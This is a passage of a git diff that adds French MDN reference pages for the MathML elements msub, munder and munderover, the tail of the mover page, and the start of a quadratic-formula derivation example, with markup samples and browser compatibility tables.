+  La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="https://developer.mozilla.org/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+</dl>
+<h2 id="Exemples">Exemples</h2>
+<p>Exemple de rendu: <img alt="x+y+z" src="/files/3196/mover.png" style="vertical-align: middle; margin-left: 10px;"></p>
+<p>Rendu dans votre navigateur : <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ </mo> </mover> </math></p>
+<pre class="brush: html">&lt;math&gt;
+
+&lt;mover accent="true"&gt;
+  &lt;mrow&gt;
+    &lt;mi&gt; x &lt;/mi&gt;
+    &lt;mo&gt; + &lt;/mo&gt;
+    &lt;mi&gt; y &lt;/mi&gt;
+    &lt;mo&gt; + &lt;/mo&gt;
+    &lt;mi&gt; z &lt;/mi&gt;
+  &lt;/mrow&gt;
+  &lt;mo&gt; &amp;#x23DE; &lt;!--TOP CURLY BRACKET--&gt; &lt;/mo&gt;
+&lt;/mover&gt;
+
+&lt;/math&gt;
+</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }} (24 only)</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>9.5</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td><code>accent</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>align</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("12.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+    <td>{{ CompatGeckoDesktop("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }} (24 only)</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }} (24 only)</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>5.1</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>accent</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>align</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mover', 'mover') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification courante</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mover', 'mover') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>{{ MathMLElement("munder") }} (Underscript)</li>
+ <li>{{ MathMLElement("munderover") }} (Underscript-overscript pair)</li>
+</ul>
diff --git a/files/fr/web/mathml/element/msub/index.html b/files/fr/web/mathml/element/msub/index.html
new file mode 100644
index 0000000000..d238453489
--- /dev/null
+++ b/files/fr/web/mathml/element/msub/index.html
@@ -0,0 +1,83 @@
+---
+title: <msub>
+slug: Web/MathML/Element/msub
+translation_of: Web/MathML/Element/msub
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary"><span class="seoSummary">L'élément MathML <code>&lt;msub&gt;</code> est utilisé pour attaché un indice à une expression.</span> On utilise la syntaxe suivante: <code>&lt;msub&gt; base indice &lt;/msub&gt;</code>.</p>
+
+<h2 id="Attributes">Attributes</h2>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Fournit pour être utilisé avec <a href="/en-US/docs/CSS">stylesheets</a>.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Utilisé pour ajouter un hyperlien vers une URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>La couleur d'arrière plan. Vous pouvez utiliser <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/Web/CSS/Type_color#Les_mots-cl%C3%A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>La couleur du texte. Vous pouvez utiliser <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/Web/CSS/Type_color#Les_mots-cl%C3%A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-subscriptshift">subscriptshift</dt>
+ <dd>The minimum space by which to shift the subscript below the baseline of the expression, as a <a href="/en-US/docs/MathML/Attributes/Values#Lengths">length value</a>.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Image fixe: <img alt="x1" src="/files/3202/msub.png" style="margin-left: 10px; vertical-align: middle;"></p>
+
+<p>Rendu dans votre navigateur: <math> <msub> <mi>X</mi> <mn>1</mn> </msub> </math></p>
+
+<pre class="brush: html">&lt;math&gt;
+
+  &lt;msub&gt;
+    &lt;mi&gt;X&lt;/mi&gt;
+    &lt;mn&gt;1&lt;/mn&gt;
+  &lt;/msub&gt;
+
+&lt;/math&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.msub', 'msub') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification actuelle</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.msub', 'msub') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spéficication initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("mathml.elements.msub")}}</p>
+
+<h2 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h2>
+
+<ul>
+ <li>À partir de Gecko 26.0 {{geckoRelease("26")}} il ne sera bientôt plus possible d'utiliser <code>&lt;none/&gt;</code> comme un élément enfant. The rendering has been made more consistent with equivalent configurations of {{MathMLElement("msup")}} and {{MathMLElement("mmultiscripts")}} and a bug with an incorrect application <code>of the </code><code>superscriptshift</code> attribute has been fixed (see {{bug("827713")}} for details).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ MathMLElement("msup") }} (Superscript)</li>
+ <li>{{ MathMLElement("msubsup") }} (Subscript-superscript pair)</li>
+ <li>{{ MathMLElement("mmultiscripts") }} (Prescripts and tensor indices)</li>
+</ul>
diff --git a/files/fr/web/mathml/element/munder/index.html b/files/fr/web/mathml/element/munder/index.html
new file mode 100644
index 0000000000..fad321574e
--- /dev/null
+++ b/files/fr/web/mathml/element/munder/index.html
@@ -0,0 +1,214 @@
+---
+title: <munder>
+slug: Web/MathML/Element/munder
+translation_of: Web/MathML/Element/munder
+---
+<p>{{MathMLRef()}}</p>
+<p>L'élément MathML <code>&lt;munder&gt;</code> est utilisé pour attacher un accent ou une limite sous une expression. La syntaxe est la suivante: <code>&lt;munder&gt; <em>base script-en-dessous</em> &lt;/munder&gt;</code></p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+ <dt id="attr-accentunder">
+  accentunder</dt>
+ <dd>
+  Lorsqu'il a pour valeur <code>true</code>, l'élément est un <em>accent</em>, qui est affiché plus près de la base.<br>
+  Lorsqu'il a pour valeur <code>false</code> (valeur par défaut), l'élément est une <em>limite</em> sous la base.</dd>
+ <dt id="attr-align">
+  align</dt>
+ <dd>
+  l'alignement du script en dessous. Les valeurs possibles sont: <code>left</code>, <code>center</code>, et <code>right</code>.</dd>
+ <dt id="attr-class-id-style">
+  class, id, style</dt>
+ <dd>
+  Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de style</a>.</dd>
+ <dt id="attr-href">
+  href</dt>
+ <dd>
+  Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground">
+  mathbackground</dt>
+ <dd>
+  La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="https://developer.mozilla.org/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">
+  mathcolor</dt>
+ <dd>
+  La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="https://developer.mozilla.org/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+</dl>
+<h2 id="Exemples">Exemples</h2>
+<p>Exemple de rendu: <img alt="x+y+z" src="/files/3197/munder.png" style="vertical-align: middle; margin-left: 10px;"></p>
+<p>Rendu dans votre navigateur: <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏟ </mo> </munder> </math></p>
+<pre class="brush: html">&lt;math&gt;
+
+&lt;munder accentunder="true"&gt;
+  &lt;mrow&gt;
+    &lt;mi&gt; x &lt;/mi&gt;
+    &lt;mo&gt; + &lt;/mo&gt;
+    &lt;mi&gt; y &lt;/mi&gt;
+    &lt;mo&gt; + &lt;/mo&gt;
+    &lt;mi&gt; z &lt;/mi&gt;
+  &lt;/mrow&gt;
+  &lt;mo&gt; &amp;#x23DF; &lt;!--BOTTOM CURLY BRACKET--&gt; &lt;/mo&gt;
+&lt;/munder&gt;
+
+&lt;/math&gt;
+</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }} (24 only)</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>9.5</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td><code>accentunder</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>align</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("12.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}<br>
+     {{webkitbug(85733)}}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }} (24 only)</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }} (24 only)</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>5.1</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>accentunder</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>align</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("12.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.munder', 'munder') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Current specification</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.munder', 'munder') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>{{ MathMLElement("mover") }} (Overscript)</li>
+ <li>{{ MathMLElement("munderover") }} (Underscript-overscript pair)</li>
+</ul>
diff --git a/files/fr/web/mathml/element/munderover/index.html b/files/fr/web/mathml/element/munderover/index.html
new file mode 100644
index 0000000000..5a158a40f8
--- /dev/null
+++ b/files/fr/web/mathml/element/munderover/index.html
@@ -0,0 +1,88 @@
+---
+title: <munderover>
+slug: Web/MathML/Element/munderover
+tags:
+  - MathML
+  - 'MathML:Element'
+  - Référence MathML
+translation_of: Web/MathML/Element/munderover
+---
+<p>{{MathMLRef()}}</p>
+
+<p>L'élément MathML <code>&lt;munderover&gt;</code> est utilisé pour attacher des accents et limites à la fois en-dessous et au-dessus d'une expression.<br>
+ La syntaxe est la suivante: <code>&lt;munder&gt; <em>base script-en-dessous script-au-dessus</em> &lt;/munder&gt;</code></p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-accent">accent</dt>
+ <dd>Lorsqu'il vaut <code>true</code>, le script au dessus est un <em>accent</em>, qui est affiché plus près de la base.<br>
+ Lorsqu'il vaut <code>false</code> (valeur par défaut), le script au dessus est une <em>limite</em> au dessus de la base.</dd>
+ <dt id="attr-accentunder">accentunder</dt>
+ <dd>Lorsqu'il vaut <code>true</code>, le script en dessous est un <em>accent</em>, qui est affiché plus près de la base.<br>
+ Lorsqu'il vaut <code>false</code> (valeur par défaut), le script en dessous est une <em>limite</em> en dessous de la base.</dd>
+ <dt id="attr-align">align {{deprecated_inline}}</dt>
+ <dd>L'alignment des scripts en dessous et au dessus. Les valeurs possibles sont: <code>left</code>, <code>center</code>, et <code>right</code>.</dd>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Afin d'être utilisés avec les <a href="https://developer.mozilla.org/fr/docs/CSS">feuilles de styles</a>.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="https://developer.mozilla.org/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="https://developer.mozilla.org/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Exemple de rendu: <img alt="integral-0-infinity" src="/files/3198/munderover.png" style="margin-left: 10px; vertical-align: middle;"></p>
+
+<p>Rendu dans votre navigateur: <math displaystyle="true"> <munderover> <mo> ∫ </mo> <mn> 0 </mn> <mi> ∞ </mi> </munderover> </math></p>
+
+<pre class="brush: html">&lt;math displaystyle="true"&gt;
+
+  &lt;munderover &gt;
+    &lt;mo&gt; &amp;#x222B; &lt;!--INTEGRAL--&gt; &lt;/mo&gt;
+    &lt;mn&gt; 0 &lt;/mn&gt;
+    &lt;mi&gt; &amp;#x221E; &lt;!--INFINITY--&gt; &lt;/mi&gt;
+  &lt;/munderover&gt;
+
+&lt;/math&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.munderover', 'munderover') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Current specification</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.munderover', 'munderover') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("mathml.elements.munderover")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ MathMLElement("munder") }} (Underscript)</li>
+ <li>{{ MathMLElement("mover") }} (Overscript)</li>
+</ul>
diff --git a/files/fr/web/mathml/exemples/dériver_la_formule_quadratique/index.html b/files/fr/web/mathml/exemples/dériver_la_formule_quadratique/index.html
new file mode 100644
index 0000000000..9a7f5ac867
--- /dev/null
+++ b/files/fr/web/mathml/exemples/dériver_la_formule_quadratique/index.html
@@ -0,0 +1,13 @@
+---
+title: 'MathML: Dériver la formule quadratique'
+slug: Web/MathML/Exemples/Dériver_la_Formule_Quadratique
+tags:
+  - Débutant
+  - Education
+  - Guide
+  - MathML
+translation_of: Web/MathML/Examples/Deriving_the_Quadratic_Formula
+---
+<p>Dans cette page, on rédige la démonstration de la détermination des racines d'un polynôme quadratique :</p>
+
+<p><math> <mtable columnalign="left"> <mtr> <mtd> <mrow> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo>⁢</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁢</mo> <mi>x</mi> </mrow> <mo> + </mo> <mi>c</mi> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo>⁢</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁢</mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mrow> <mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁤</mo> <mi>x</mi> </mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>c</mi> </mrow> <mi>a</mi> </mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">On divise par le premier coefficient du polynôme.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁤</mo> <mi>x</mi> <mo> + </mo> <msup> <mfenced> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mfenced> <mn>2</mn> </msup> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow> <mrow> <mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac> </mrow> <mo> + </mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">On rajoute un terme pour avoir un carré.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Ici, on obtient la valeur du discriminant.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mrow> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mo>=</mo> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn></msup></mrow></mfrac></msqrt></mrow><mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext></mrow></mrow></mtd></mtr><mtr><mtd><mrow><mrow><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi> b</mi> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> 